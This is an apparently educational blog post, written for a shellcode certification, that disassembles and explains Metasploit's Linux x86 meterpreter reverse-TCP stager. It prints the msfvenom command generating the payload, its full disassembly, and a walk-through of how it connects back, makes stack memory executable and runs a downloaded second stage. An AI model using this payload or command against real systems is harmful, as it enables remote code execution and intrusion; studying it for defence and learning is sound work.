SLAE 0x5: Part II — Analyzing MSFvenom ‘linux/x86/meterpreter/reverse_tcp’ shellcode

Aditya Chaudhary
4 min readFeb 8, 2019

--

In this post we will analyse linux/x86/meterpreter/reverse_tcp shellcode. If you haven’t read the part I, you can start from there:

Shellcode is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.

I would recommend that you should do through the basics of shellcoding and MSFvenom before diving head first in this post. For the basics of shellcoding, I would recommend you go through the below mentioned blogs to catch up quickly.

TL;DR

Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:

  • Generating the shellcode using MSFvenom
  • Disassemble Shellcode — Ndisasm
  • Analyze the disassembled instruction set

Generating Shellcode

Let’s generate the shellcode using msfvenom.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.1.1.1 LPORT=4444 -a x86 — platform Linux -f raw -o linux_x86_meterpreter_reverse_tcp

Dump Shellcode — Ndisasm

Let’s use ndisasm to generate assembly shellcode from the above generated binary file.

ndisasm -u linux_x86_meterpreter_reverse_tcp

00000000  6A0A              push byte +0xa
00000002 5E pop esi
00000003 31DB xor ebx,ebx
00000005 F7E3 mul ebx
00000007 53 push ebx
00000008 43 inc ebx
00000009 53 push ebx
0000000A 6A02 push byte +0x2
0000000C B066 mov al,0x66
0000000E 89E1 mov ecx,esp
00000010 CD80 int 0x80
00000012 97 xchg eax,edi
00000013 5B pop ebx
00000014 687F010101 push dword 0x101017f
00000019 680200115C push dword 0x5c110002
0000001E 89E1 mov ecx,esp
00000020 6A66 push byte +0x66
00000022 58 pop eax
00000023 50 push eax
00000024 51 push ecx
00000025 57 push edi
00000026 89E1 mov ecx,esp
00000028 43 inc ebx
00000029 CD80 int 0x80
0000002B 85C0 test eax,eax
0000002D 7919 jns 0x48
0000002F 4E dec esi
00000030 743D jz 0x6f
00000032 68A2000000 push dword 0xa2
00000037 58 pop eax
00000038 6A00 push byte +0x0
0000003A 6A05 push byte +0x5
0000003C 89E3 mov ebx,esp
0000003E 31C9 xor ecx,ecx
00000040 CD80 int 0x80
00000042 85C0 test eax,eax
00000044 79BD jns 0x3
00000046 EB27 jmp short 0x6f
00000048 B207 mov dl,0x7
0000004A B900100000 mov ecx,0x1000
0000004F 89E3 mov ebx,esp
00000051 C1EB0C shr ebx,0xc
00000054 C1E30C shl ebx,0xc
00000057 B07D mov al,0x7d
00000059 CD80 int 0x80
0000005B 85C0 test eax,eax
0000005D 7810 js 0x6f
0000005F 5B pop ebx
00000060 89E1 mov ecx,esp
00000062 99 cdq
00000063 B60C mov dh,0xc
00000065 B003 mov al,0x3
00000067 CD80 int 0x80
00000069 85C0 test eax,eax
0000006B 7802 js 0x6f
0000006D FFE1 jmp ecx
0000006F B801000000 mov eax,0x1
00000074 BB01000000 mov ebx,0x1
00000079 CD80 int 0x80

Observe the highlighted instruction sets. There are 6 interrupts for systemcalls as follows:

1. Socket Create (eax = 0x66, ebx = 0x1)
2. Socket Connect (eax = 0x66, ebx = 0x3)
3. NanoSleep (eax = 0xa2)
4. Mprotect (eax = 0x7d, ebx = esp, ecx = 0x1000, edx = 0x7)
5. Read (eax = 0x3, ebx = socket_descriptor, ecx = esp, dh = 0xc)
6. Exit (eax = 0x1, ebx = 0x1)

The interesting part here is the Mprotect system call which changes protection for the calling process’s memory page(s) containing any part of the address range provided in the arguments.

int mprotect(const void *addr, size_t len, int prot)prot is either PROT_NONE or a bitwise-or of the other values in the following list:PROT_NONE  The memory cannot be accessed at all.PROT_READ  The memory can be read.PROT_WRITE The memory can be modified.PROT_EXEC  The memory can be executed.

The ebx is set to the address of esp and the ecx is set to 0x1000 (4096 bytes). The edx (argument value for prot) is set to 0x7, which provides read, write and execute permissions to the memory segment provided in the arguments.

In the end the shellcode calls the read system call with arguments:

ebx <= socket_descriptor
ecx <= esp (top of the stack)
edx <= 0xc00 (3072 bytes)

This read the data from socket and writes it on the stack.

So, to summarize the working of this shellcode — an attempt for socket connect is made, if successful then the shellcode sets appropriate permissions(0x7) on the stack for 4096 bytes. Then the shellcode calls read syscall which reads data from socket and writes it on the memory pointed by the stack. Then the control is passed to the stage written on stack using the instruction jmp ecx

This summaries this blog. Continue reading the Part III here, where we’ll walk through the linux/x86/meterpreter/bind_tcp shellcode.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-8416

--

--